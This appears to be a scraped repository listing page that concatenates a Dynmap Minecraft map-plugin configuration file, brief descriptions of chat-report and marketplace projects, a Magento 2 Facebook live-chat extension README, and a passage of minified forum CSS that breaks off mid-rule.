image-format: jpg-q90 # If cwebp or dwebp are not on the PATH, use these settings to provide their full path. Do not use these settings if the tools are on the PATH # For Windows, include .exe # #cwebpPath: /usr/bin/cwebp #dwebpPath: /usr/bin/dwebp # use-generated-textures: if true, use generated textures (same as client); false is static water/lava textures # correct-water-lighting: if true, use corrected water lighting (same as client); false is legacy water (darker) # transparent-leaves: if true, leaves are transparent (lighting-wise): false is needed for some Spout versions that break lighting on leaf blocks use-generated-textures: true correct-water-lighting: true transparent-leaves: true # ctm-support: if true, Connected Texture Mod (CTM) in texture packs is enabled (default) ctm-support: true # custom-colors-support: if true, Custom Colors in texture packs is enabled (default) custom-colors-support: true # Control loading of player faces (if set to false, skins are never fetched) #fetchskins: false # Control updating of player faces, once loaded (if faces are being managed by other apps or manually) #refreshskins: false # Customize URL used for fetching player skins (%player% is macro for name) skin-url: "http://skins.minecraft.net/MinecraftSkins/%player%.png" # Control behavior for new (1.0+) compass orientation (sunrise moved 90 degrees: east is now what used to be south) # default is 'newrose' (preserve pre-1.0 maps, rotate rose) # 'newnorth' is used to rotate maps and rose (requires fullrender of any HDMap map - same as 'newrose' for FlatMap or KzedMap) compass-mode: newnorth # Triggers for automatic updates : blockupdate-with-id is debug for breaking down updates by ID:meta # To disable, set just 'none' and comment/delete the rest render-triggers: - blockupdate #- blockupdate-with-id #- lightingupdate - chunkpopulate - chunkgenerate #- none # Title for the web page - if not specified, defaults to the server's name (unless it is the default of 'Unknown Server') #webpage-title: "My Awesome Server Map" # The path where the tile-files are placed. tilespath: web/tiles # The path where the web-files are located. webpath: web # The path were the /dynmapexp command exports OBJ ZIP files exportpath: export # The network-interface the webserver will bind to (0.0.0.0 for all interfaces, 127.0.0.1 for only local access). # If not set, uses same setting as server in server.properties (or 0.0.0.0 if not specified) #webserver-bindaddress: 0.0.0.0 # The TCP-port the webserver will listen on. webserver-port: 8123 # Maximum concurrent session on internal web server - limits resources used in Bukkit server max-sessions: 30 # Disables Webserver portion of Dynmap (Advanced users only) disable-webserver: false # Enable/disable having the web server allow symbolic links (true=compatible with existing code, false=more secure (default)) allow-symlinks: true # Enable login support login-enabled: false # Require login to access website (requires login-enabled: true) login-required: false # Period between tile renders for fullrender, in seconds (non-zero to pace fullrenders, lessen CPU load) timesliceinterval: 0.0 # Maximum chunk loads per server tick (1/20th of a second) - reducing this below 90 will impact render performance, but also will reduce server thread load maxchunkspertick: 200 # Progress report interval for fullrender/radiusrender, in tiles. Must be 100 or greater progressloginterval: 100 # Parallel fullrender: if defined, number of concurrent threads used for fullrender or radiusrender # Note: setting this will result in much more intensive CPU use, some additional memory use. Caution should be used when # setting this to equal or exceed the number of physical cores on the system. #parallelrendercnt: 4 # Interval the browser should poll for updates. updaterate: 2000 # If nonzero, server will pause fullrender/radiusrender processing when 'fullrenderplayerlimit' or more users are logged in fullrenderplayerlimit: 0 # If nonzero, server will pause update render processing when 'updateplayerlimit' or more users are logged in updateplayerlimit: 0 # Target limit on server thread use - msec per tick per-tick-time-limit: 50 # If TPS of server is below this setting, update renders processing is paused update-min-tps: 18.0 # If TPS of server is below this setting, full/radius renders processing is paused fullrender-min-tps: 18.0 # If TPS of server is below this setting, zoom out processing is paused zoomout-min-tps: 18.0 showplayerfacesinmenu: true # Control whether players that are hidden or not on current map are grayed out (true=yes) grayplayerswhenhidden: true # Set sidebaropened: 'true' to pin menu sidebar opened permanently, 'pinned' to default the sidebar to pinned, but allow it to unpin #sidebaropened: true # Customized HTTP response headers - add 'id: value' pairs to all HTTP response headers (internal web server only) #http-response-headers: # Access-Control-Allow-Origin: "my-domain.com" # X-Custom-Header-Of-Mine: "MyHeaderValue" # Trusted proxies for web server - which proxy addresses are trusted to supply valid X-Forwarded-For fields trusted-proxies: - "127.0.0.1" - "0:0:0:0:0:0:0:1" joinmessage: "%playername% joined" quitmessage: "%playername% quit" spammessage: "You may only chat once every %interval% seconds." # format for messages from web: %playername% substitutes sender ID (typically IP), %message% includes text webmsgformat: "&color;2[WEB] %playername%: &color;f%message%" # Control whether layer control is presented on the UI (default is true) showlayercontrol: true # Enable checking for banned IPs via banned-ips.txt (internal web server only) check-banned-ips: true # Default selection when map page is loaded defaultzoom: 0 defaultworld: world defaultmap: flat # (optional) Zoom level and map to switch to when following a player, if possible #followzoom: 3 #followmap: surface # If true, make persistent record of IP addresses used by player logins, to support web IP to player matching persist-ids-by-ip: true # If true, map text to cyrillic cyrillic-support: false # Messages to customize msg: maptypes: "Map Types" players: "Players" chatrequireslogin: "Chat Requires Login" chatnotallowed: "You are not permitted to send chat messages" hiddennamejoin: "Player joined" hiddennamequit: "Player quit" # URL for client configuration (only need to be tailored for proxies or other non-standard configurations) url: # configuration URL #configuration: "up/configuration" # update URL #update: "up/world/{world}/{timestamp}" # sendmessage URL #sendmessage: "up/sendmessage" # login URL #login: "up/login" # register URL #register: "up/register" # tiles base URL #tiles: "tiles/" # markers base URL #markers: "tiles/" # Snapshot cache size, in chunks snapshotcachesize: 500 # Snapshot cache uses soft references (true), else weak references (false) soft-ref-cache: true # Player enter/exit title messages for map markers # # Processing period - how often to check player positions vs markers - default is 1000ms (1 second) #enterexitperiod: 1000 # Title message fade in time, in ticks (0.05 second intervals) - default is 10 (1/2 second) #titleFadeIn: 10 # Title message stay time, in ticks (0.05 second intervals) - default is 70 (3.5 seconds) #titleStay: 70 # Title message fade out time, in ticks (0.05 seocnd intervals) - default is 20 (1 second) #titleFadeOut: 20 # Enter/exit messages use on screen titles (true - default), if false chat messages are sent instead #enterexitUseTitle: true # Set true if new enter messages should supercede pending exit messages (vs being queued in order), default false #enterReplacesExits: true # Set to true to enable verbose startup messages - can help with debugging map configuration problems # Set to false for a much quieter startup log verbose: false # Enables debugging. #debuggers: # - class: org.dynmap.debug.LogDebugger # Debug: dump blocks missing render data dump-missing-blocks: false
TechnicallyCoded / NoChatReports SpigotAn anti chat report plugin for Spigot & Paper 1.19 - 1.21.9 - With translatable/language messages support
teakivy / NoChatReportsStop players from reporting others using chat
BlondelSeumo / PHP Based Advance Marketplace ScriptThe advance marketplace script allows its user’s to create a Digital marketplace in seconds. It currently supports Selling Domains, Websites & Online Businesses. Admin can easily customize all features of the marketplace through the admin panel itself therefore no programming skills are required. It has many features that leading digital marketplaces does such as Domain Ownership verification, Real Time Google Analytics Reports, User Email Notifications for all user activities, fully functional Bidding System, Chat/Message System and etc.
brunoroeder / Marketplace Facebook Livechat# 1. MAGENTO 2 MARKETPLACE FACEBOOK LIVECHAT Facebook has taken the world by storm and become an important element in the field of communications. For businesses, Facebook messenger is about connecting businesses with customers. Some businesses are finding that Facebook may even replace their websites. The integration of Facebook Messenger into your marketplace can make the communication in business enhanced remarkably. Using Magento 2 Marketplace Facebook Live Chat Extension, you can easily keep in touch with various of customers at a time. The chatbox of this extension will help you send and receive messages from users instantly. Let's see outstanding advantages of this extension: Unlimited History Chat One step log in with Facebook, not setup requires Familiar chat box with Facebook Messenger Interface Easily enable/disable and configure Chatbox at the backend Unlimited color Show store profile and like button in the chat box Set greeting, upcoming event, store Facebook profile to the chatbox Chat with unlimited customers on Facebook page User Statistic Increase Fanpage View and Like Purchasing [MAGENTO 2 MARKETPLACE FACEBOOK LIVECHAT](https://landofcoder.com/marketplace-facebook-livechat.html/) This is a plugin of [Magento 2 Marketplace Extension](https://landofcoder.com/magento-2-marketplace-extension.html/). To use this module smoothly, you must install Magento 2 Marketplace Module first. ## 2. Documentation - Installation guide: https://blog.landofcoder.com/magento-2-install-extension/ - User guide: http://guide.landofcoder.com/ - Download from our Live site: https://landofcoder.com/magento-2-pre-order-extension.html/ - Get Support: https://landofcoder.ticksy.com/ ## 3. Highlight Features ### One step log in with Facebook Super Fast Logging in Facebook has never been easy like this with Magento 2 marketplace Facebook live chat extension. Type your email address/ your telephone number and your password in the box or if you have not had account, it seems to be simple way to create new account for you. Just by one click on your website, your customer can easily send and receive messages from you. No complicated setup requires. ### Configure all features of Chatbox Appearance of your chatbox plays an important role in how to communicate effectively with your customers. With Magento 2 marketplace facebook live chat extension, creating the best comfortable space for interaction can be optimized. You can change Title/ color/ Text color of tab close, Title/ Unlimited Color/ Width/ Height of Tab Open. Especially, you can even justify your avatar image width/height to raise your customers’impression when communicating with you. ### Get user information In the blink of eye This extension provides you the best management’s system with the board of “Manage data user”. You can keep track of how many people visit, interact in your web and how many people have real interest or enroll to spam. Name, Email, DOB, Location, Link Facebook of register users are now all on your list. ### Set greeting, upcoming event, store Facebook profile Being the first one to welcome your customers in your web can make them feel being respected. You can choose to send messages of greeting, event to customer manually or automatically. What can make them pay attention to is all the information in your web coming to them first. Magento 2 marketplace facebook live chat can help you to update the recent message and upcoming event for your customers or even you can send message to the host of page. ### Show site/product/category on the chat box When receiving a request from the customer, you can send them the site/product/category links in the chatbox. It will be always appear in your screen, so it seems to be very simple to do multitasks: both searching products’information and keeping in touch with the customers. ### Unlimited History Chat The same function as Facebook messenger app, Marketplace facebook live chat extension provides you responsive interface in which you can scroll down or search for any customer in your history no matter when it is. This goes beyond the limitation of current chat desk. If you need to find exact customers to check the exchanged information, you can only search a part of his/her name and the system will send you limited list for you. ### Increase Fanpage View and Like By using Magento 2 Marketplace Facebook Live Chat, you can drive your customer to your Facebook page. Keep theme follow your business all the time with updated news. They will not only interact in your website, but they can also do this in your fanpage on Facebook. ### Multiple and RLT Languages Magento 2 Marketplace Facebook Live Chat do not forget customers who want to use multiple languages or RTL language system. It helps you attract lots of customers without any limitation of cultures and languages.Take it easy for all! ### Familiar chat box with Facebook Messenger Interface With the familiar Facebook Messenger Interface in Magento store, customers and owners can communicate each other with ease. ### Enable/disable the extension by one click Simply to Enable/ Disable Magento 2 Marketplace Facebook Livechat extension for your store in the board of “Facebook support Live settings”. Just one click required! ## 4. Full features: - Easy log in with Facebook - Configure all features of Chatbox - Easy user management - Automatically send greeting and upcoming events notification. - Flexible functions of chatbox. - Unlimited History Chat - Promote interaction on Facebook fanpage - Multiple and RLT Languages - Familiar Facebook messenger interface of chat box - One-click operation of this extension - Show store profile and like button in the chat box - Chat with unlimited customers on Facebook page ## LandOfCoder extensions on Magento Marketplace, Github - [Magento 2 Multivendor Marketplace](https://landofcoder.com/magento-2-marketplace-extension.html/) - [Magento 2 Blog Extension](https://landofcoder.com/magento-2-blog-extension.html/) - [Magento 2 Testimonial Extension](https://landofcoder.com/testimonial-extension-for-magento2.html/) - [Magento 2 Image Gallery](https://landofcoder.com/magento-2-image-gallery.html/) - [Magento 2 Faq Extension](https://landofcoder.com/faq-extension-for-magento2.html/) - [Magento 2 Help Desk](https://landofcoder.com/magento-2-help-desk-extension.html) - [Magento 2 OUT OF STOCK NOTIFICATION](https://landofcoder.com/magento-2-out-of-stock-notification.html/) - [Magento 2 CUSTOMER QUOTATION FOR MAGENTO 2](https://landofcoder.com/magento-2-quote-extension.html/) - [Magento 2 RMA Extension](https://landofcoder.com/magento-2-rma-extension.html/) - [Magento 2 Stripe Payment](https://landofcoder.com/magento-2-stripe-payment-pro.html/) - [Magento 2 SMS Notification](https://landofcoder.com/magento-2-sms-notification-extension.html/) - [Magento 2 Page Builder](https://landofcoder.com/magento-2-page-builder.html/) - [Magento 2 Form Builder](https://landofcoder.com/magento-2-form-builder.html/) - [Magento 2 Advanced Report](https://landofcoder.com/magento-2-advanced-reports.html/) - [Magento 2 Marketplace PRO](https://landofcoder.com/magento-2-marketplace-pro.html/) - [Magento 2 Order Tracking](https://landofcoder.com/magento-2-order-tracking-extension.html/) - [Magento 2 Order Tracking PRO](https://landofcoder.com/magento-2-order-tracking-pro-extension.html/) - [Magento 2 Multiple Flat Rate](https://landofcoder.com/magento-2-multiple-flat-rate-shipping.html/) - [Magento 2 Shipping Per Product](https://landofcoder.com/magento-2-shipping-per-product.html/) - [Magento 2 Social Login](https://landofcoder.com/magento-2-social-login.html/) - [Magento 2 Store Locator](https://landofcoder.com/magento-2-store-locator.html/) - [Magento 2 Auto Search Extension](https://landofcoder.com/magento-2-search.html/) - [Magento 2 Mega Menu](https://landofcoder.com/magento-2-mega-menu.html/) - [Magento 2 Mega Menu PRO](https://landofcoder.com/magento-2-mega-menu-pro.html) - [Magento 2 Image Gallery PRO](https://landofcoder.com/magento-2-image-gallery-pro.html/) - [Magento 2 Layered Navigation](https://landofcoder.com/magento-2-layered-navigation.html/) - [Magento 2 Auction Extension](https://landofcoder.com/magento-2-auction-extension.html/) - [Magento 2 Store Credit](https://landofcoder.com/magento-2-store-credit.html/) - [Magento 2 Reward Point](https://landofcoder.com/magento-2-reward-points.html/) - [Magento 2 Follow Up Email](https://landofcoder.com/magento-2-follow-up-email.html/) - [Magento 2 Coupon Code Generator](https://landofcoder.com/magento-2-coupon-extension.html/) - [Magento 2 Hide Price](https://landofcoder.com/magento-2-hide-price.html/) - [Magento 2 Price Comparison](https://landofcoder.com/magento-2-price-comparison.html/) - [Magento 2 SMTP Extension](https://landofcoder.com/magento-2-smtp-extension.html) - [Magento 2 Price Comparison](https://landofcoder.com/magento-2-price-comparison.html/) - [Magento 2 Affiliate Extension](https://landofcoder.com/magento-2-affiliate-extension.html/) - [Magento 2 One Step Checkout](https://landofcoder.com/magento-2-one-step-checkout.html/) Sources: https://landofcoder.com/marketplace-facebook-livechat.html/
SuperRogerio / Css*{margin:0;padding:0}html{font-size:100%;height:100%}* html{scrollbar-3dlight-color:#;scrollbar-arrow-color:#;scrollbar-darkshadow-color:#;scrollbar-face-color:#;scrollbar-highlight-color:#;scrollbar-shadow-color:#;scrollbar-track-color:#}*+ html{scrollbar-3dlight-color:#;scrollbar-arrow-color:#;scrollbar-darkshadow-color:#;scrollbar-face-color:#;scrollbar-highlight-color:#;scrollbar-shadow-color:#;scrollbar-track-color:#}body{background-attachment:fixed;background-color:#fff;background-image:url(https://illiweb.com/fa/empty.gif);color:#666;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:10px;height:auto;padding:10px 0}#sceditor_smilies{background-color:#dceaf5}#sce_smilies_body{background-color:#e5f1f9;background-image:none;min-width:1px!important}.sceditor-container iframe,.sceditor-container textarea{background-color:transparent!important}.sceditor-container{background-color:#fff!important}.sceditor-toolbar{background-color:#f7f7f7!important}* html .conteneur_minwidth_IE{padding-left:1111px}* html .conteneur_container_IE{margin-left:-1111px;position:relative}* html .conteneur_container_IE,* html .conteneur_layout_IE,* html .conteneur_minwidth_IE{height:1px}#wrap{background-color:#fff;border:1px solid #;margin:0 auto;min-width:979px;padding:5px;width:90%}#simple-wrap{padding:6px 10px}#content-container div#container{float:left;margin-right:-12px;width:100%}#content-container div#content{margin-right:12px}#content-container div#main{margin-bottom:1em;overflow:hidden}*+ html #content-container div#main{margin-left:211px}#content-container div#left{float:left;margin-right:12px;overflow:hidden;width:199px}#content-container div#right{float:right;overflow:hidden;width:0}* html #content-container #main-content{margin-right:211px;overflow:visible}* html #content-container div#main{float:left;margin-right:-99%;width:100%}#page-body{margin:4px 0;width:100%}#page-body p.page-bottom{margin:0}h1.page-title{color:#0372be;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:2em;font-weight:400;margin:.8em 0 .2em}h1.gallery-title{display:inline;font-size:11px;font-weight:700;text-align:center}h2{color:#0372be;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:2em;font-weight:400;margin:.8em 0 .2em}h1.solo{margin-bottom:1em}.h3,h3{border-bottom:1px solid #1675bc;color:#1675bc;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.05em;margin-bottom:3px;margin-top:20px;padding-bottom:2px;text-transform:uppercase}.h3{font-weight:700}.introduction .h3,.module .h3,.postbody .h3{margin-top:8px}.table-title,.table-title h2{color:#fff;display:inline;font-size:1em}input{cursor:pointer;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1em;font-weight:400;padding:0 3px;vertical-align:middle}select{background-color:#fff;border:1px solid #0372be;cursor:pointer;font-family:Verdana,Arial,Helvetica,sans-serif;font-weight:400;padding:1px;vertical-align:middle}option{padding-right:1em}textarea{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1em;line-height:1.4em;padding:2px;width:60%}p{font-size:1.1em;line-height:1.3em;margin-bottom:.5em}p.right{text-align:right}p.right img{vertical-align:middle}p.center{margin:0;text-align:center}p.author{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1em;line-height:1.2em;margin:0 15em .6em 0;padding:0 0 5px}p.nomargin{font-size:1.1em;line-height:1.3em;margin-bottom:0}p.path{clear:left;margin-left:10px}fieldset{border-width:0;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.1em}fieldset.jumpbox{height:auto;margin-top:15px;min-height:2.5em;text-align:right}fieldset.vf_jumpbox{height:auto;min-height:2.5em;text-align:right}fieldset.quickmod{float:right;height:auto;min-height:2.5em;text-align:right;width:55%}label{color:#666;cursor:default;padding-right:5px}label input{vertical-align:middle}label img{vertical-align:middle}hr{border:0 none #fff;border-top:1px solid #fff;clear:both;display:block;height:1px;margin:5px 0}hr.dashed{border-top:1px dashed #fff;margin:5px 0}img{border-width:0}blockquote{background:#ebeadd url(https://illiweb.com/fa/prosilver/quote.gif) 6px 8px no-repeat;border:1px solid #DBDBCE;font-size:.95em;margin:1em 1px 1em 25px;overflow:hidden;padding:5px}blockquote div{margin-left:20px}blockquote blockquote{background-color:#EFEED9;font-size:1em;margin:.5em 1px 0 15px}blockquote blockquote blockquote{background-color:#ebeadd}blockquote cite{display:block;font-size:.9em;font-style:normal;font-weight:700}blockquote cite cite{font-size:1em}blockquote.uncited{padding-top:25px}ul{list-style-type:none}ul.ul-icons{float:left;margin:0 10px}* html input,* html select,* html table{font-size:100%}* html hr{margin:0}a:link{color:#0372be;text-decoration:none}a:visited{color:#0372be;text-decoration:none}a:active{color:#0372be;text-decoration:underline}a:hover{color:#f60;text-decoration:none}a.forumtitle{color:#0372be;font-family:Arial,Helvetica,sans-serif;font-size:1.2em;font-weight:700;text-decoration:none}a.forumtitle:hover{color:#f60;text-decoration:underline}a.forumtitle:active{color:#0372be}a.topictitle{color:#0372be;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.1em;font-weight:700;text-decoration:none}div.topic-title-container{display:inline}.topic-title{display:inline;font-size:12px;text-align:left}a.topictitle:hover{color:#f60;text-decoration:underline}a.topictitle:active{color:#0372be}.inputbox{background-color:#fff;border:1px solid #BCBCBC;color:#666;cursor:text;padding:2px}.inputbox:hover{border:1px solid #1675bc}.inputbox:focus{border:1px solid #1675bc;color:#666}input.inputbox,select.inputbox{width:85%}input.medium,select.medium{width:50%}input.narrow,select.narrow{width:25%}input.tiny,select.tiny{width:110px}textarea.inputbox{width:85%}button.button2,input.button1,input.button2{font-size:1em}a.button1,input.button1{border:1px solid #666;font-weight:700}a.button2,button.button2,input.button2{border:1px solid #BCBCBC}a.button1,a.button2,button.button2,input.button1,input.button2{background-color:#FAFAFA;background-image:url(https://illiweb.com/fa/prosilver/bg_button.gif);background-position:top;background-repeat:repeat-x;color:#000;font-family:Verdana,Arial,Helvetica,sans-serif;overflow:visible;padding:2px 3px;width:auto!important}a.button2,body:last-child a.button1,button.button2,input.button1,input.button2{padding:1px 0}a.button1:hover,a.button2:hover,button.button2:hover,input.button1:hover,input.button2:hover{background-position:0 100%;border:1px solid #f60;color:#f60}a.button1:active,a.button1:link,a.button1:visited,a.button2:active,a.button2:link,a.button2:visited{background-position:0 1px;color:#0372be;line-height:250%;padding:2px 8px;text-decoration:none;vertical-align:text-bottom}* html button.button2,* html input.button1,* html input.button2{margin-bottom:1px;padding-bottom:0}*+html button.button2{height:24px;padding-left:3px;padding-right:3px}*+html button.button2 img{vertical-align:middle}* html button.button2{height:24px;padding-left:3px;padding-right:3px}* html button.button2 img{vertical-align:middle}fieldset dl{padding:4px 0}fieldset dt{display:block;float:left;text-align:left;width:40%}fieldset dd{margin-bottom:3px;margin-left:41%;vertical-align:top}fieldset dl:hover dt label{color:#000}dt label{font-weight:700;text-align:left}dd label{color:#666;white-space:nowrap}dd input,dd textarea{margin-right:3px}dd select{width:auto}dd textarea{width:85%}fieldset.fields1 dt{border-right-width:0;width:10em}fieldset.fields1 dd{border-left-width:0;margin-left:10em}fieldset.fields1{background-color:transparent}fieldset.fields1 div{margin-bottom:3px}fieldset.fields2 dt{border-right-width:0;width:15em}fieldset.fields2 dd{border-left-width:0;margin-left:16em}fieldset.fields2 dl:hover dt label{color:inherit}fieldset.submit-buttons{margin:5px 0;text-align:center;vertical-align:middle}fieldset.submit-buttons input{padding-bottom:3px;padding-top:3px;vertical-align:middle}fieldset.polls{font-family:Verdana,Arial,Helvetica,sans-serif}fieldset.polls dl{border-top:1px solid #e2e2e2;color:#666;line-height:120%;margin-top:5px;padding:5px 0 0}fieldset.polls dt{border-right:none;display:block;float:left;font-size:1.1em;margin:0;padding:0;text-align:left;width:30%}fieldset.polls dd{border-left:none;float:left;font-size:1.1em;margin-left:0;padding:0 5px;width:10%}.headerbar{background-color:#1675bc;background-image:url(https://illiweb.com/fa/empty.gif);background-repeat:repeat-x;margin-bottom:4px;padding:0 5px}* html .headerbar{height:1%}*+ html .headerbar{min-height:1px}#logo-desc{margin:0;padding:0;text-align:center}#logo{float:none;padding:5px}a#logo:hover{text-decoration:none}#site-title,#site-title h1{color:#fff;font-size:20px;font-weight:700;padding-top:15px}#site-title h1{padding-top:0}#logo-desc p{color:#fff;margin:0;padding:0}.navbar{background-color:#cadceb;clear:both;padding:0 10px}ul.navlinks{border-bottom:1px solid #fff;font-weight:700;text-align:center}ul.borderless{border-bottom:0}ul.linklist li{display:inline;font-size:1.1em;line-height:2.2em;list-style-type:none;width:auto}ul.linklist li a img{vertical-align:middle}.search-box{float:left;margin-left:5px;margin-top:3px}#search-box{float:right;margin-right:5px;margin-top:10px;white-space:nowrap}* html #search-box{margin-right:35px}#search-box #keywords{background-color:#fff;width:95px},#search-box input{border:1px solid #BCBCBC}#search-box input.button1{padding:1px 5px}input.search{background:url(https://illiweb.com/fa/sprite_prosilver_navbar.png) no-repeat top left;background-position:0 -701px;padding-left:17px}ul.linklist li.rightside{float:right}ul.linklist li.footer-home{float:left}p.rightside{float:right;margin-right:5px}dl.codebox{background-color:#FFF;border:1px solid #C9D2D8;font-size:1em;padding:3px}dl.codebox dt{border-bottom:1px solid #CCC;display:block;font-size:.8em;font-weight:700;margin-bottom:3px;text-transform:uppercase}blockquote dl.codebox{margin-left:0}dl.codebox code{color:#2E8B57;display:block;font-family:Courier,CourierNew,sans-serif;font-size:.9em;font-style:normal;font-variant:normal;font-weight:normal;height:auto;line-height:1.3em;margin:2px 0;max-height:200px;overflow:auto;padding-top:5px;white-space:normal}.forabg{background-color:#1675bc;background-image:url(https://illiweb.com/fa/empty.gif);background-position:0 0;background-repeat:repeat-x;border:2px solid #;clear:both;margin-bottom:4px;padding:0 5px}* html .forabg{height:1%;position:relative}*+ html .forabg{min-height:1px}.forumbg{background-color:#1675bc;background-image:url(https://illiweb.com/fa/empty.gif);background-position:0 0;background-repeat:repeat-x;border:2px solid #;clear:both;margin-bottom:4px;padding:0 5px}* html .forumbg{height:1%}*+ html .forumbg{min-height:1px}.forumbg table.table1{margin:0 -2px -1px -1px}ul.topiclist{background-image:url(https://illiweb.com/fa/empty.gif);background-repeat:repeat-x;color:#666;list-style-type:none;margin:0}* html ul.topiclist{height:1%}*+ html ul.topiclist{min-height:1px}ul.topiclist li{display:block;margin:0}* html ul.topiclist li{position:relative}ul.topiclist li.row dl{padding:2px 0}ul.forums li.row dl{min-height:75px}* html ul.forums li.row dl{height:75px}ul.topiclist dd.dterm,ul.topiclist dt{display:block;float:left;font-size:1.1em;padding-left:5px;padding-right:5px;width:60%}ul.topiclist dfn{display:none}ul.topics li.header dl.icon dt{padding-right:50px}ul.topics dd.dterm,ul.topics dt{display:block;float:left;padding-left:45px;width:50%}ul.topics dd{display:block;float:left}ul.forums{background-color:#e5f1f9;background-image:none}li.header dl.icon{min-height:0}li.header dl.icon dt{padding-left:0}li.header dt{font-weight:700}li.header dd{margin-left:1px}dl.icon{background-position:10px 50%;background-repeat:no-repeat;height:auto;min-height:35px}dl.icon dd.dterm,dl.icon dt{background-position:5px 50%;background-repeat:no-repeat}li.header dd,li.header dt{border-left-width:0;color:#fff;font-family:Arial,Helvetica,sans-serif,Verdana,Arial,Helvetica,sans-serif;font-size:1em;line-height:1em;margin:2px 0 4px;padding-bottom:2px;padding-top:2px;text-transform:uppercase}li.row{border-bottom:1px solid #fff;border-top:1px solid #fff}li.row:hover{background-color:#}ul.topiclist dd{border-left:1px solid #fff;display:block;float:left;padding:4px 0}ul.topiclist li.header dl dd{border:none}dd.lastpost span,dd.moderation span,dd.redirect span,ul.topiclist dd.info span,ul.topiclist dd.searchby span,ul.topiclist dd.time span{display:block;padding-left:5px}ul.pmlist dt{padding-left:45px}ul.forums dd{border-color:#fff;border-left-style:solid;border-left-width:1px}li.row:hover dd{border-left-color:#fff}.mod-text{font-weight:700}.hierarchy{border:none;display:inline;font-size:1em!important;text-transform:none}.panel{background-color:#e5f1f9;color:#666;margin-bottom:4px;padding:0 10px}* html .panel{height:1%}*+ html .panel{min-height:1px}.content h2,.panel h2{border-bottom:1px solid #1675bc;color:#1675bc;font-size:1.6em;font-weight:400;margin-bottom:.5em;margin-top:.5em;padding-bottom:.5em}.content h2.h3,.panel h2.h3{font-size:1.05em;font-weight:700}.content h1,.panel h1{border-bottom:1px solid #1675bc;color:#1675bc;font-size:1.6em;font-weight:400;margin-bottom:.5em;margin-top:.5em;padding-bottom:.5em}.panel h3{margin:.5em 0}.panel-left{float:left;width:47%}.panel-right{float:right;width:47%}.panel div.mes-txt,.panel p{font-size:1.2em;line-height:1.4em;margin-bottom:1em}div.mes-txt ol,div.mes-txt ul{padding-left:40px}div.mes-txt ul{list-style-type:disc}.post{background-position:100% 0;background-repeat:no-repeat;margin-bottom:4px;padding:0 10px}*+ html .post{word-wrap:break-word}* html .post{word-wrap:break-word}.post ul{list-style-type:disc}.postprofile{border-color:#fff;border-left-style:solid;border-left-width:1px;color:#666;display:inline;float:right;margin:5px 0 0;min-height:80px;position:relative;width:22%;word-wrap:break-word}* html .postprofile{overflow:hidden}.postprofile dd,.postprofile dt{line-height:1.2em;margin-left:8px}.postprofile a:active,.postprofile a:link,.postprofile a:visited,.postprofile dt.author a{color:#0372be;font-weight:700;text-decoration:none}.postprofile a:hover,.postprofile dt.author a:hover{color:#f60;text-decoration:underline}.vote{float:right;margin-left:4px;width:9px}.vote .vote-button{font-weight:700;margin-left:-1px;text-align:center}.vote .vote-button a{text-decoration:none!important}.vote .vote-bar{border:1px solid #666;font-size:0;height:50px;margin:0 auto;width:3px}.vote .vote-no-bar{letter-spacing:-2px;margin-left:-2px;white-space:nowrap}.vote .vote-bar-plus{background-color:#0f0}.vote .vote-bar-minus{background-color:red}dd.lastpost{font-size:1.1em;width:20%}dd.mark{float:right!important;font-size:1.2em;line-height:200%;text-align:center;width:9%}dd.posts,dd.topics,dd.views{border:none;font-size:1.2em;line-height:2.2em;text-align:center;width:8%}dd.info{width:30%}dl.details{font-size:1.1em}dl.details dt{color:#666;display:block;float:left;text-align:right;width:10em}dl.details dd{color:#666;margin-bottom:5px;margin-left:10em;padding-left:5px}.span-tab{font-size:.9em}#cp-main{float:left;margin-left:20px;width:98%}* html #cp-main{margin-left:10px}#cp-main h1{border-bottom:none;color:#666;margin-left:10px;padding:0}#cp-main h3,#cp-main hr{border-color:#bfbfbf}#cp-main .content{padding:0}ul.cplist{border-top:1px solid #;margin-bottom:5px}#cp-main .panel{background-color:#fff}#cp-main .panel.sig{background-color:#CADCEB}#cp-main .panel p{font-size:1.1em}#cp-main .panel ol{font-size:1.1em;margin-left:2em}#cp-main .panel li.row{border-bottom:1px solid #;border-top:1px solid #}#cp-main table.table1{margin-bottom:1em}#cp-main table.table1 thead th{border-bottom:1px solid #333;color:#666;font-weight:700;padding:5px}#cp-main table.table1 tbody th{background-color:transparent!important;border-bottom:none;font-style:italic}#cp-main ol,#cp-main ul{list-style-type:none!important;padding:0!important}#ucp-main table.table1{padding:2px}table.table1{width:100%}html>body table.table1{width:100%}table.table1 thead th{color:#fff;font-size:1em;font-weight:400;line-height:1.3em;padding:0 0 4px 3px;text-transform:uppercase}table.table1 thead th span{padding-left:7px}table.table1 tbody tr{border:1px solid #e5f1f9}table.table1 tbody tr.hover,table.table1 tbody tr:hover{background-color:#;color:#666}table.table1 td{color:#666;font-size:1.1em}table.table1 tbody td{border-top:1px solid #fff;padding:5px}table.table1 tbody th{background-color:#e5f1f9;border-bottom:1px solid #000;color:#fff;padding:5px;text-align:left}table.table1 .name{text-align:left}table.table1 .posts{text-align:center!important;width:7%}table.table1 .joined{text-align:left;width:15%}table.table1 .active{text-align:left;width:15%}table.table1 .mark{text-align:center;width:7%}table.table1 .info{text-align:left;width:30%}table.table1 .info div{overflow:hidden;white-space:nowrap;width:100%}table.table1 .autocol{line-height:2em;white-space:nowrap}table.table1 thead .autocol{padding-left:1em}table.table1 .stats{text-align:center;width:12%}table.table1 .edit{text-align:right;vertical-align:top;width:5%}table.table1 .alignv{vertical-align:top}td.avatar-mini img{background-color:#fff;border:1px solid #1675bc;height:38px;vertical-align:middle;width:38px}dl.faq{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.1em;line-height:1.4em;margin-bottom:2em;margin-top:1em}dl.faq dt{color:#666;font-weight:700}dl.faq dd p{border:1px dashed #fff;font-size:1em;margin:5px;padding:5px;text-align:justify}dl.faq ul{list-style-position:inside;list-style-type:disc}dl.faq ol{list-style-position:inside}.content dl.faq{font-size:1.2em;margin-bottom:.5em}#tabs{line-height:normal;margin:20px 0 -1px 7px}#tabs ul{list-style:none;margin:0;padding:0}#tabs 